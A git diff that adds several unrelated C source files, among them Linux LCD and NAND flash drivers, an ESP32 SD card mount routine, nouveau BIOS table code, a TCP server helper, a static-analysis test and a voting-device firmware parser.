+	lcdreg_writereg(reg, 0x0002, 0x0700);
+	/* Resize register */
+	lcdreg_writereg(reg, 0x0004, 0x0000);
+	/* set the back and front porch */
+	lcdreg_writereg(reg, 0x0008, 0x0202);
+	/* set non-display area refresh cycle */
+	lcdreg_writereg(reg, 0x0009, 0x0000);
+	/* FMARK function */
+	lcdreg_writereg(reg, 0x000A, 0x0000);
+	/* RGB interface setting */
+	lcdreg_writereg(reg, 0x000C, 0x0000);
+	/* Frame marker Position */
+	lcdreg_writereg(reg, 0x000D, 0x0000);
+	/* RGB interface polarity */
+	lcdreg_writereg(reg, 0x000F, 0x0000);
+
+	/* ***********Power On sequence *************** */
+	/* SAP, BT[3:0], AP, DSTB, SLP, STB */
+	lcdreg_writereg(reg, 0x0010, 0x0000);
+	/* DC1[2:0], DC0[2:0], VC[2:0] */
+	lcdreg_writereg(reg, 0x0011, 0x0007);
+	/* VREG1OUT voltage */
+	lcdreg_writereg(reg, 0x0012, 0x0000);
+	/* VDV[4:0] for VCOM amplitude */
+	lcdreg_writereg(reg, 0x0013, 0x0000);
+	msleep(200); /* Dis-charge capacitor power voltage */
+	/* SAP, BT[3:0], AP, DSTB, SLP, STB */
+	lcdreg_writereg(reg, 0x0010, 0x17B0);
+	/* R11h=0x0031 at VCI=3.3V DC1[2:0], DC0[2:0], VC[2:0] */
+	lcdreg_writereg(reg, 0x0011, 0x0031);
+	msleep(50);
+	/* R12h=0x0138 at VCI=3.3V VREG1OUT voltage */
+	lcdreg_writereg(reg, 0x0012, 0x0138);
+	msleep(50);
+	/* R13h=0x1800 at VCI=3.3V VDV[4:0] for VCOM amplitude */
+	lcdreg_writereg(reg, 0x0013, 0x1800);
+	/* R29h=0x0008 at VCI=3.3V VCM[4:0] for VCOMH */
+	lcdreg_writereg(reg, 0x0029, 0x0008);
+	msleep(50);
+	/* GRAM horizontal Address */
+	lcdreg_writereg(reg, 0x0020, 0x0000);
+	/* GRAM Vertical Address */
+	lcdreg_writereg(reg, 0x0021, 0x0000);
+
+	/* ------------------ Set GRAM area --------------- */
+/* Horizontal GRAM Start Address */
+lcdreg_writereg(reg, 0x0050, 0);
+/* Horizontal GRAM End Address */
+lcdreg_writereg(reg, 0x0051, 239);
+/* Vertical GRAM Start Address */
+lcdreg_writereg(reg, 0x0052, 0);
+/* Vertical GRAM Start Address */
+lcdreg_writereg(reg, 0x0053, 319);
+	/* Gate Scan Line */
+	lcdreg_writereg(reg, 0x0060, 0x2700);
+	/* NDL,VLE, REV */
+	lcdreg_writereg(reg, 0x0061, 0x0001);
+	/* set scrolling line */
+	lcdreg_writereg(reg, 0x006A, 0x0000);
+
+	/* -------------- Partial Display Control --------- */
+	lcdreg_writereg(reg, 0x0080, 0x0000);
+	lcdreg_writereg(reg, 0x0081, 0x0000);
+	lcdreg_writereg(reg, 0x0082, 0x0000);
+	lcdreg_writereg(reg, 0x0083, 0x0000);
+	lcdreg_writereg(reg, 0x0084, 0x0000);
+	lcdreg_writereg(reg, 0x0085, 0x0000);
+
+	/* -------------- Panel Control ------------------- */
+	lcdreg_writereg(reg, 0x0090, 0x0010);
+	lcdreg_writereg(reg, 0x0092, 0x0000);
+	lcdreg_writereg(reg, 0x0093, 0x0003);
+	lcdreg_writereg(reg, 0x0095, 0x0110);
+	lcdreg_writereg(reg, 0x0097, 0x0000);
+	lcdreg_writereg(reg, 0x0098, 0x0000);
+	/* 262K color and display ON */
+	lcdreg_writereg(reg, 0x0007, 0x0173);
+/*
+lcdreg_writereg(lcdreg, 0x3, (lcdreg->bgr << 12) | 0x30);
+lcdreg_writereg(lcdreg, 0x3, (1 << 12) | 0x30);
+*/
+	return 0;
+}
+
+static const struct of_device_id hy28fb_ids[] = {
+	{ .compatible = "hy28a",  .data = (void *)HY28A },
+	{ .compatible = "hy28b",  .data = (void *)HY28B },
+	{},
+};
+MODULE_DEVICE_TABLE(of, hy28fb_ids);
+
+static int hy28fb_probe(struct spi_device *spi)
+{
+	struct device *dev = &spi->dev;
+	const struct of_device_id *of_id;
+	struct lcdreg *reg;
+	struct lcdctrl *ctrl;
+	struct ili9320_config cfg = {
+		.width = 240,
+		.height = 320,
+/*
+		.addr_mode0 = ILI9341_MADCTL_MX,
+		.addr_mode90 = ILI9341_MADCTL_MV | ILI9341_MADCTL_MY |
+			       ILI9341_MADCTL_MX,
+		.addr_mode180 = ILI9341_MADCTL_MY,
+		.addr_mode270 = ILI9341_MADCTL_MV,
+*/
+		.addr_mode0 = 0x30,
+		.addr_mode90 = 0x18,
+		.addr_mode180 = 0x00,
+		.addr_mode270 = 0x28,
+		.bgr = true,
+	};
+
+	pr_info("%s()\n", __func__);
+
+	of_id = of_match_device(hy28fb_ids, dev);
+	if (!of_id)
+		return -EINVAL;
+
+	reg = devm_lcdreg_spi_init_of(spi, LCDREG_SPI_STARTBYTE);
+	if (IS_ERR(reg))
+		return PTR_ERR(reg);
+
+	reg->readable = true;
+
+	ctrl = devm_ili9320_init(reg, &cfg);
+	if (IS_ERR(ctrl))
+		return PTR_ERR(ctrl);
+
+	switch ((int)of_id->data) {
+	case HY28A:
+		ctrl->poweron = hy28a_poweron;
+		break;
+	case HY28B:
+	default:
+		return -EINVAL;
+	}
+
+	return devm_fbtft_lcdctrl_of_register(ctrl);
+}
+
+static struct spi_driver hy28fb_spi_driver = {
+	.driver = {
+		.name   = "hy28fb",
+		.owner  = THIS_MODULE,
+		.of_match_table = hy28fb_ids,
+		.shutdown = fbtft_shutdown,
+		.pm = FBTFT_PM_OPS,
+	},
+	.probe  = hy28fb_probe,
+};
+module_spi_driver(hy28fb_spi_driver);
+
+MODULE_ALIAS("spi:hy28a");
+MODULE_ALIAS("spi:hy28b");
+
+MODULE_AUTHOR("Noralf Trønnes");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0026124_sharpsl.c b/pool/shard001/C/0026124_sharpsl.c
new file mode 100644
index 0000000000000000000000000000000000000000..30a518e211bdf9a1e6016b32799974ab453e0fd3
--- /dev/null
+++ b/pool/shard001/C/0026124_sharpsl.c
@@ -0,0 +1,267 @@
+/*
+ * drivers/mtd/nand/sharpsl.c
+ *
+ *  Copyright (C) 2004 Richard Purdie
+ *
+ *  Based on Sharp's NAND driver sharp_sl.c
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ */
+
+#include <linux/genhd.h>
+#include <linux/slab.h>
+#include <linux/module.h>
+#include <linux/delay.h>
+#include <linux/mtd/mtd.h>
+#include <linux/mtd/nand.h>
+#include <linux/mtd/nand_ecc.h>
+#include <linux/mtd/partitions.h>
+#include <linux/interrupt.h>
+#include <asm/io.h>
+#include <mach/hardware.h>
+#include <asm/mach-types.h>
+
+static void __iomem *sharpsl_io_base;
+static int sharpsl_phys_base = 0x0C000000;
+
+/* register offset */
+#define ECCLPLB	 	sharpsl_io_base+0x00	/* line parity 7 - 0 bit */
+#define ECCLPUB	 	sharpsl_io_base+0x04	/* line parity 15 - 8 bit */
+#define ECCCP	   	sharpsl_io_base+0x08	/* column parity 5 - 0 bit */
+#define ECCCNTR	 	sharpsl_io_base+0x0C	/* ECC byte counter */
+#define ECCCLRR	 	sharpsl_io_base+0x10	/* cleare ECC */
+#define FLASHIO	 	sharpsl_io_base+0x14	/* Flash I/O */
+#define FLASHCTL	sharpsl_io_base+0x18	/* Flash Control */
+
+/* Flash control bit */
+#define FLRYBY		(1 << 5)
+#define FLCE1		(1 << 4)
+#define FLWP		(1 << 3)
+#define FLALE		(1 << 2)
+#define FLCLE		(1 << 1)
+#define FLCE0		(1 << 0)
+
+/*
+ * MTD structure for SharpSL
+ */
+static struct mtd_info *sharpsl_mtd = NULL;
+
+/*
+ * Define partitions for flash device
+ */
+#define DEFAULT_NUM_PARTITIONS 3
+
+static int nr_partitions;
+static struct mtd_partition sharpsl_nand_default_partition_info[] = {
+	{
+	 .name = "System Area",
+	 .offset = 0,
+	 .size = 7 * 1024 * 1024,
+	 },
+	{
+	 .name = "Root Filesystem",
+	 .offset = 7 * 1024 * 1024,
+	 .size = 30 * 1024 * 1024,
+	 },
+	{
+	 .name = "Home Filesystem",
+	 .offset = MTDPART_OFS_APPEND,
+	 .size = MTDPART_SIZ_FULL,
+	 },
+};
+
+/*
+ *	hardware specific access to control-lines
+ *	ctrl:
+ *	NAND_CNE: bit 0 -> ! bit 0 & 4
+ *	NAND_CLE: bit 1 -> bit 1
+ *	NAND_ALE: bit 2 -> bit 2
+ *
+ */
+static void sharpsl_nand_hwcontrol(struct mtd_info *mtd, int cmd,
+				   unsigned int ctrl)
+{
+	struct nand_chip *chip = mtd->priv;
+
+	if (ctrl & NAND_CTRL_CHANGE) {
+		unsigned char bits = ctrl & 0x07;
+
+		bits |= (ctrl & 0x01) << 4;
+
+		bits ^= 0x11;
+
+		writeb((readb(FLASHCTL) & ~0x17) | bits, FLASHCTL);
+	}
+
+	if (cmd != NAND_CMD_NONE)
+		writeb(cmd, chip->IO_ADDR_W);
+}
+
+static uint8_t scan_ff_pattern[] = { 0xff, 0xff };
+
+static struct nand_bbt_descr sharpsl_bbt = {
+	.options = 0,
+	.offs = 4,
+	.len = 2,
+	.pattern = scan_ff_pattern
+};
+
+static struct nand_bbt_descr sharpsl_akita_bbt = {
+	.options = 0,
+	.offs = 4,
+	.len = 1,
+	.pattern = scan_ff_pattern
+};
+
+static struct nand_ecclayout akita_oobinfo = {
+	.eccbytes = 24,
+	.eccpos = {
+		   0x5, 0x1, 0x2, 0x3, 0x6, 0x7, 0x15, 0x11,
+		   0x12, 0x13, 0x16, 0x17, 0x25, 0x21, 0x22, 0x23,
+		   0x26, 0x27, 0x35, 0x31, 0x32, 0x33, 0x36, 0x37},
+	.oobfree = {{0x08, 0x09}}
+};
+
+static int sharpsl_nand_dev_ready(struct mtd_info *mtd)
+{
+	return !((readb(FLASHCTL) & FLRYBY) == 0);
+}
+
+static void sharpsl_nand_enable_hwecc(struct mtd_info *mtd, int mode)
+{
+	writeb(0, ECCCLRR);
+}
+
+static int sharpsl_nand_calculate_ecc(struct mtd_info *mtd, const u_char * dat, u_char * ecc_code)
+{
+	ecc_code[0] = ~readb(ECCLPUB);
+	ecc_code[1] = ~readb(ECCLPLB);
+	ecc_code[2] = (~readb(ECCCP) << 2) | 0x03;
+	return readb(ECCCNTR) != 0;
+}
+
+#ifdef CONFIG_MTD_PARTITIONS
+const char *part_probes[] = { "cmdlinepart", NULL };
+#endif
+
+/*
+ * Main initialization routine
+ */
+static int __init sharpsl_nand_init(void)
+{
+	struct nand_chip *this;
+	struct mtd_partition *sharpsl_partition_info;
+	int err = 0;
+
+	/* Allocate memory for MTD device structure and private data */
+	sharpsl_mtd = kmalloc(sizeof(struct mtd_info) + sizeof(struct nand_chip), GFP_KERNEL);
+	if (!sharpsl_mtd) {
+		printk("Unable to allocate SharpSL NAND MTD device structure.\n");
+		return -ENOMEM;
+	}
+
+	/* map physical address */
+	sharpsl_io_base = ioremap(sharpsl_phys_base, 0x1000);
+	if (!sharpsl_io_base) {
+		printk("ioremap to access Sharp SL NAND chip failed\n");
+		kfree(sharpsl_mtd);
+		return -EIO;
+	}
+
+	/* Get pointer to private data */
+	this = (struct nand_chip *)(&sharpsl_mtd[1]);
+
+	/* Initialize structures */
+	memset(sharpsl_mtd, 0, sizeof(struct mtd_info));
+	memset(this, 0, sizeof(struct nand_chip));
+
+	/* Link the private data with the MTD structure */
+	sharpsl_mtd->priv = this;
+	sharpsl_mtd->owner = THIS_MODULE;
+
+	/*
+	 * PXA initialize
+	 */
+	writeb(readb(FLASHCTL) | FLWP, FLASHCTL);
+
+	/* Set address of NAND IO lines */
+	this->IO_ADDR_R = FLASHIO;
+	this->IO_ADDR_W = FLASHIO;
+	/* Set address of hardware control function */
+	this->cmd_ctrl = sharpsl_nand_hwcontrol;
+	this->dev_ready = sharpsl_nand_dev_ready;
+	/* 15 us command delay time */
+	this->chip_delay = 15;
+	/* set eccmode using hardware ECC */
+	this->ecc.mode = NAND_ECC_HW;
+	this->ecc.size = 256;
+	this->ecc.bytes = 3;
+	this->badblock_pattern = &sharpsl_bbt;
+	if (machine_is_akita() || machine_is_borzoi()) {
+		this->badblock_pattern = &sharpsl_akita_bbt;
+		this->ecc.layout = &akita_oobinfo;
+	}
+	this->ecc.hwctl = sharpsl_nand_enable_hwecc;
+	this->ecc.calculate = sharpsl_nand_calculate_ecc;
+	this->ecc.correct = nand_correct_data;
+
+	/* Scan to find existence of the device */
+	err = nand_scan(sharpsl_mtd, 1);
+	if (err) {
+		iounmap(sharpsl_io_base);
+		kfree(sharpsl_mtd);
+		return err;
+	}
+
+	/* Register the partitions */
+	sharpsl_mtd->name = "sharpsl-nand";
+	nr_partitions = parse_mtd_partitions(sharpsl_mtd, part_probes, &sharpsl_partition_info, 0);
+
+	if (nr_partitions <= 0) {
+		nr_partitions = DEFAULT_NUM_PARTITIONS;
+		sharpsl_partition_info = sharpsl_nand_default_partition_info;
+		if (machine_is_poodle()) {
+			sharpsl_partition_info[1].size = 22 * 1024 * 1024;
+		} else if (machine_is_corgi() || machine_is_shepherd()) {
+			sharpsl_partition_info[1].size = 25 * 1024 * 1024;
+		} else if (machine_is_husky()) {
+			sharpsl_partition_info[1].size = 53 * 1024 * 1024;
+		} else if (machine_is_spitz()) {
+			sharpsl_partition_info[1].size = 5 * 1024 * 1024;
+		} else if (machine_is_akita()) {
+			sharpsl_partition_info[1].size = 58 * 1024 * 1024;
+		} else if (machine_is_borzoi()) {
+			sharpsl_partition_info[1].size = 32 * 1024 * 1024;
+		}
+	}
+
+	add_mtd_partitions(sharpsl_mtd, sharpsl_partition_info, nr_partitions);
+
+	/* Return happy */
+	return 0;
+}
+
+module_init(sharpsl_nand_init);
+
+/*
+ * Clean up routine
+ */
+static void __exit sharpsl_nand_cleanup(void)
+{
+	/* Release resources, unregister device */
+	nand_release(sharpsl_mtd);
+
+	iounmap(sharpsl_io_base);
+
+	/* Free the MTD device structure */
+	kfree(sharpsl_mtd);
+}
+
+module_exit(sharpsl_nand_cleanup);
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Richard Purdie <rpurdie@rpsys.net>");
+MODULE_DESCRIPTION("Device specific logic for NAND flash on Sharp SL-C7xx Series");
diff --git a/pool/shard001/C/0026125_19-symbeq_funcs.c b/pool/shard001/C/0026125_19-symbeq_funcs.c
new file mode 100644
index 0000000000000000000000000000000000000000..d9b29ed4a705661f3b7768799bf67f8d017ddf74
--- /dev/null
+++ b/pool/shard001/C/0026125_19-symbeq_funcs.c
@@ -0,0 +1,49 @@
+// PARAM: --disable ana.mutex.disjoint_types --set dbg.debug true --set ana.activated[+] "'var_eq'" 
+#include <assert.h>
+
+void inc(int * a){
+  (*a)++;
+}
+
+int four(){
+  return 4;
+}
+
+void test1(int *q, int *p){
+  int v = 10;
+}
+
+
+int main () {
+  int x, y, z, uk;
+  
+  x = y = z;
+
+  assert(x == y); 
+  assert(z == y); 
+  assert(x == z); 
+  
+  test1(&x, &x);
+//  assert(x == y); wontfix?  i think?
+  assert(z == y); 
+//  assert(x == z); 
+
+  x = y = z;
+
+  test1(&x, &y);
+  assert(x == y); 
+//  assert(z == y); 
+//  assert(x == z); 
+
+  x = y = z;
+
+  inc(&x);
+  assert(x == y); // UNKNOWN
+  assert(z == y); 
+  
+  y = four();
+  assert(z == y); // UNKNOWN
+  assert(x == y); // UNKNOWN
+  
+  return 0;
+}
diff --git a/pool/shard001/C/0026129_vfs_fat_sdmmc.c b/pool/shard001/C/0026129_vfs_fat_sdmmc.c
new file mode 100644
index 0000000000000000000000000000000000000000..a712fa9733550697beb19105da3111de99f6d422
--- /dev/null
+++ b/pool/shard001/C/0026129_vfs_fat_sdmmc.c
@@ -0,0 +1,171 @@
+// Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+#include <stdlib.h>
+#include <string.h>
+#include "esp_log.h"
+#include "esp_vfs.h"
+#include "esp_vfs_fat.h"
+#include "driver/sdmmc_host.h"
+#include "driver/sdspi_host.h"
+#include "sdmmc_cmd.h"
+#include "diskio.h"
+
+static const char* TAG = "vfs_fat_sdmmc";
+static sdmmc_card_t* s_card = NULL;
+static uint8_t s_pdrv = 0;
+static char * s_base_path = NULL;
+
+esp_err_t esp_vfs_fat_sdmmc_mount(const char* base_path,
+    const sdmmc_host_t* host_config,
+    const void* slot_config,
+    const esp_vfs_fat_mount_config_t* mount_config,
+    sdmmc_card_t** out_card)
+{
+    const size_t workbuf_size = 4096;
+    void* workbuf = NULL;
+    FATFS* fs = NULL;
+
+    if (s_card != NULL) {
+        return ESP_ERR_INVALID_STATE;
+    }
+
+    // connect SDMMC driver to FATFS
+    BYTE pdrv = 0xFF;
+    if (ff_diskio_get_drive(&pdrv) != ESP_OK || pdrv == 0xFF) {
+        ESP_LOGD(TAG, "the maximum count of volumes is already mounted");
+        return ESP_ERR_NO_MEM;
+    }
+
+    s_base_path = strdup(base_path);
+    if(!s_base_path){
+        ESP_LOGD(TAG, "could not copy base_path");
+        return ESP_ERR_NO_MEM;
+    }
+    esp_err_t err = ESP_OK;
+    s_card = malloc(sizeof(sdmmc_card_t));
+    if (s_card == NULL) {
+        err = ESP_ERR_NO_MEM;
+        goto fail;
+    }
+
+    err = (*host_config->init)();
+    if (err != ESP_OK) {
+        ESP_LOGD(TAG, "host init returned rc=0x%x", err);
+        goto fail;
+    }
+
+    // configure SD slot
+    if (host_config->flags == SDMMC_HOST_FLAG_SPI) {
+        err = sdspi_host_init_slot(host_config->slot,
+                (const sdspi_slot_config_t*) slot_config);
+    } else {
+        err = sdmmc_host_init_slot(host_config->slot,
+                (const sdmmc_slot_config_t*) slot_config);
+    }
+    if (err != ESP_OK) {
+        ESP_LOGD(TAG, "slot_config returned rc=0x%x", err);
+        goto fail;
+    }
+
+    // probe and initialize card
+    err = sdmmc_card_init(host_config, s_card);
+    if (err != ESP_OK) {
+        ESP_LOGD(TAG, "sdmmc_card_init failed 0x(%x)", err);
+        goto fail;
+    }
+    if (out_card != NULL) {
+        *out_card = s_card;
+    }
+
+    ff_diskio_register_sdmmc(pdrv, s_card);
+    s_pdrv = pdrv;
+    ESP_LOGD(TAG, "using pdrv=%i", pdrv);
+    char drv[3] = {(char)('0' + pdrv), ':', 0};
+
+    // connect FATFS to VFS
+    err = esp_vfs_fat_register(base_path, drv, mount_config->max_files, &fs);
+    if (err == ESP_ERR_INVALID_STATE) {
+        // it's okay, already registered with VFS
+    } else if (err != ESP_OK) {
+        ESP_LOGD(TAG, "esp_vfs_fat_register failed 0x(%x)", err);
+        goto fail;
+    }
+
+    // Try to mount partition
+    FRESULT res = f_mount(fs, drv, 1);
+    if (res != FR_OK) {
+        err = ESP_FAIL;
+        ESP_LOGW(TAG, "failed to mount card (%d)", res);
+        if (!(res == FR_NO_FILESYSTEM && mount_config->format_if_mount_failed)) {
+            goto fail;
+        }
+        ESP_LOGW(TAG, "partitioning card");
+        DWORD plist[] = {100, 0, 0, 0};
+        workbuf = malloc(workbuf_size);
+        res = f_fdisk(s_pdrv, plist, workbuf);
+        if (res != FR_OK) {
+            err = ESP_FAIL;
+            ESP_LOGD(TAG, "f_fdisk failed (%d)", res);
+            goto fail;
+        }
+        ESP_LOGW(TAG, "formatting card");
+        res = f_mkfs(drv, FM_ANY, s_card->csd.sector_size, workbuf, workbuf_size);
+        if (res != FR_OK) {
+            err = ESP_FAIL;
+            ESP_LOGD(TAG, "f_mkfs failed (%d)", res);
+            goto fail;
+        }
+        free(workbuf);
+        ESP_LOGW(TAG, "mounting again");
+        res = f_mount(fs, drv, 0);
+        if (res != FR_OK) {
+            err = ESP_FAIL;
+            ESP_LOGD(TAG, "f_mount failed after formatting (%d)", res);
+            goto fail;
+        }
+    }
+    return ESP_OK;
+
+fail:
+    sdmmc_host_deinit();
+    free(workbuf);
+    if (fs) {
+        f_mount(NULL, drv, 0);
+    }
+    esp_vfs_fat_unregister_path(base_path);
+    ff_diskio_unregister(pdrv);
+    free(s_card);
+    s_card = NULL;
+    return err;
+}
+
+esp_err_t esp_vfs_fat_sdmmc_unmount()
+{
+    if (s_card == NULL) {
+        return ESP_ERR_INVALID_STATE;
+    }
+    // unmount
+    char drv[3] = {(char)('0' + s_pdrv), ':', 0};
+    f_mount(0, drv, 0);
+    // release SD driver
+    ff_diskio_unregister(s_pdrv);
+    free(s_card);
+    s_card = NULL;
+    sdmmc_host_deinit();
+    esp_err_t err = esp_vfs_fat_unregister_path(s_base_path);
+    free(s_base_path);
+    s_base_path = NULL;
+    return err;
+}
diff --git a/pool/shard001/C/0026148_mxm.c b/pool/shard001/C/0026148_mxm.c
new file mode 100644
index 0000000000000000000000000000000000000000..2610b11a99b36f684a2fccf4f54368c26e396334
--- /dev/null
+++ b/pool/shard001/C/0026148_mxm.c
@@ -0,0 +1,135 @@
+/*
+ * Copyright 2012 Red Hat Inc.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
+ * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
+ * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * Authors: Ben Skeggs
+ */
+
+#include <subdev/bios.h>
+#include <subdev/bios/bit.h>
+#include <subdev/bios/mxm.h>
+
+u16
+mxm_table(struct nouveau_bios *bios, u8 *ver, u8 *hdr)
+{
+	struct bit_entry x;
+
+	if (bit_entry(bios, 'x', &x)) {
+		nv_debug(bios, "BIT 'x' table not present\n");
+		return 0x0000;
+	}
+
+	*ver = x.version;
+	*hdr = x.length;
+	if (*ver != 1 || *hdr < 3) {
+		nv_warn(bios, "BIT 'x' table %d/%d unknown\n", *ver, *hdr);
+		return 0x0000;
+	}
+
+	return x.offset;
+}
+
+/* These map MXM v2.x digital connection values to the appropriate SOR/link,
+ * hopefully they're correct for all boards within the same chipset...
+ *
+ * MXM v3.x VBIOS are nicer and provide pointers to these tables.
+ */
+static u8 nv84_sor_map[16] = {
+	0x00, 0x12, 0x22, 0x11, 0x32, 0x31, 0x11, 0x31,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+static u8 nv92_sor_map[16] = {
+	0x00, 0x12, 0x22, 0x11, 0x32, 0x31, 0x11, 0x31,
+	0x11, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+static u8 nv94_sor_map[16] = {
+	0x00, 0x14, 0x24, 0x11, 0x34, 0x31, 0x11, 0x31,
+	0x11, 0x31, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+static u8 nv98_sor_map[16] = {
+	0x00, 0x14, 0x12, 0x11, 0x00, 0x31, 0x11, 0x31,
+	0x11, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+};
+
+u8
+mxm_sor_map(struct nouveau_bios *bios, u8 conn)
+{
+	u8  ver, hdr;
+	u16 mxm = mxm_table(bios, &ver, &hdr);
+	if (mxm && hdr >= 6) {
+		u16 map = nv_ro16(bios, mxm + 4);
+		if (map) {
+			ver = nv_ro08(bios, map);
+			if (ver == 0x10) {
+				if (conn < nv_ro08(bios, map + 3)) {
+					map += nv_ro08(bios, map + 1);
+					map += conn;
+					return nv_ro08(bios, map);
+				}
+
+				return 0x00;
+			}
+
+			nv_warn(bios, "unknown sor map v%02x\n", ver);
+		}
+	}
+
+	if (bios->version.chip == 0x84 || bios->version.chip == 0x86)
+		return nv84_sor_map[conn];
+	if (bios->version.chip == 0x92)
+		return nv92_sor_map[conn];
+	if (bios->version.chip == 0x94 || bios->version.chip == 0x96)
+		return nv94_sor_map[conn];
+	if (bios->version.chip == 0x98)
+		return nv98_sor_map[conn];
+
+	nv_warn(bios, "missing sor map\n");
+	return 0x00;
+}
+
+u8
+mxm_ddc_map(struct nouveau_bios *bios, u8 port)
+{
+	u8  ver, hdr;
+	u16 mxm = mxm_table(bios, &ver, &hdr);
+	if (mxm && hdr >= 8) {
+		u16 map = nv_ro16(bios, mxm + 6);
+		if (map) {
+			ver = nv_ro08(bios, map);
+			if (ver == 0x10) {
+				if (port < nv_ro08(bios, map + 3)) {
+					map += nv_ro08(bios, map + 1);
+					map += port;
+					return nv_ro08(bios, map);
+				}
+
+				return 0x00;
+			}
+
+			nv_warn(bios, "unknown ddc map v%02x\n", ver);
+		}
+	}
+
+	/* v2.x: directly write port as dcb i2cidx */
+	return (port << 4) | port;
+}
diff --git a/pool/shard001/C/0026154_socket.c b/pool/shard001/C/0026154_socket.c
new file mode 100644
index 0000000000000000000000000000000000000000..3128b33f251fd97b1e15b95a5d20870f7f937d88
--- /dev/null
+++ b/pool/shard001/C/0026154_socket.c
@@ -0,0 +1,52 @@
+/*
+ * webserver/socket.c
+ * Launch a TCP server in the localhost
+ *
+ * Copyright (C) 2016 Mathieu debaerdemaeker mathieu.debaerdemaeker@gmail.com
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or (at
+ * your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ * NON INFRINGEMENT.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ */
+
+#include "../include/socket.h"
+
+#define handle_error(msg) \
+	do { perror(msg); exit(EXIT_FAILURE); } while (0)
+
+/*
+ * create_server - start listen socket on given port
+ */
+int create_server(int port)
+{
+    int socket_server;
+    if ((socket_server = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+        handle_error("Socket error");
+
+    int optval = 1;
+    if (setsockopt(socket_server, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int)) == -1)
+        handle_error("Can nit set SO_REUSEADDR option");
+
+    struct sockaddr_in saddr;
+    saddr.sin_family = AF_INET;
+    saddr.sin_port = htons(port);
+    saddr.sin_addr.s_addr = INADDR_ANY;
+    if (bind(socket_server, (struct sockaddr *) &saddr, sizeof(saddr)) == -1)
+        handle_error("Bind error");
+
+    if (listen(socket_server, 10) == -1)
+        handle_error("Listen error");
+
+    return socket_server;
+}
diff --git a/pool/shard001/C/0026156_firmware.c b/pool/shard001/C/0026156_firmware.c
new file mode 100644
index 0000000000000000000000000000000000000000..97c6c692660819319bcfc9262d26617a6d7ac4e5
--- /dev/null
+++ b/pool/shard001/C/0026156_firmware.c
@@ -0,0 +1,77 @@
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "firmware.h"
+
+enum _Firmware
+fw_parse(const char *fw)
+{
+    if (fw == NULL)
+        return NONE;
+    if (strncmp(fw, "I-VOTE", 6))
+        return NONE;
+    if (!strncmp(fw, "I-VOTE ver 4.2", 14))
+        return FW45;
+    if (!strncmp(fw, "I-VOTE ver 6.0", 14))
+        return FW60;
+    return NONE;
+}
+
+enum _Firmware
+fw_parse_w(const wchar_t *fw)
+{
+    if (fw == NULL)
+        return NONE;
+    if (wcsncmp(fw, L"I-VOTE", 6))
+        return NONE;
+    if (!wcsncmp(fw, L"I-VOTE ver 4.2", 14))
+        return FW45;
+    if (!wcsncmp(fw, L"I-VOTE ver 6.0", 14))
+        return FW60;
+    return NONE;
+}
+
+int
+fw_crc_check(uint8_t *data, uint32_t *next)
+{
+    uint8_t ps = 0;
+    uint8_t sum = 0;
+    uint8_t that = 0;
+    uint8_t it;
+    uint8_t crc[2];
+
+    ps = data[1];
+    sum = ps;
+    for (it = 2; it < ps; ++it) {
+        sum += data[it];
+    }
+    crc[0] = data[ps];
+    crc[1] = data[ps + 1];
+    (*next) = ps + 2;
+    that = byte_from_hex(crc);
+    return sum == byte_from_hex(crc);
+}
+
+static const uint8_t hex_chars[] = "0123456789ABCDEF";
+
+void 
+fw_crc_create(uint8_t* data, int len, uint8_t crc[2])
+{
+    uint8_t sum = 0;
+    int i;
+
+
+    for (i = 0; i < len; ++i) {
+        sum += data[i];
+    }
+    crc[0] = hex_chars[(sum & 0xf0) >> 4];
+    crc[1] = hex_chars[(sum & 0x0f) >> 0];
+}
+
+int
+fw_is_complete(uint8_t *data, int len)
+{
+    return (len >= 3) && (data[1] <= len - 2);
+}
+
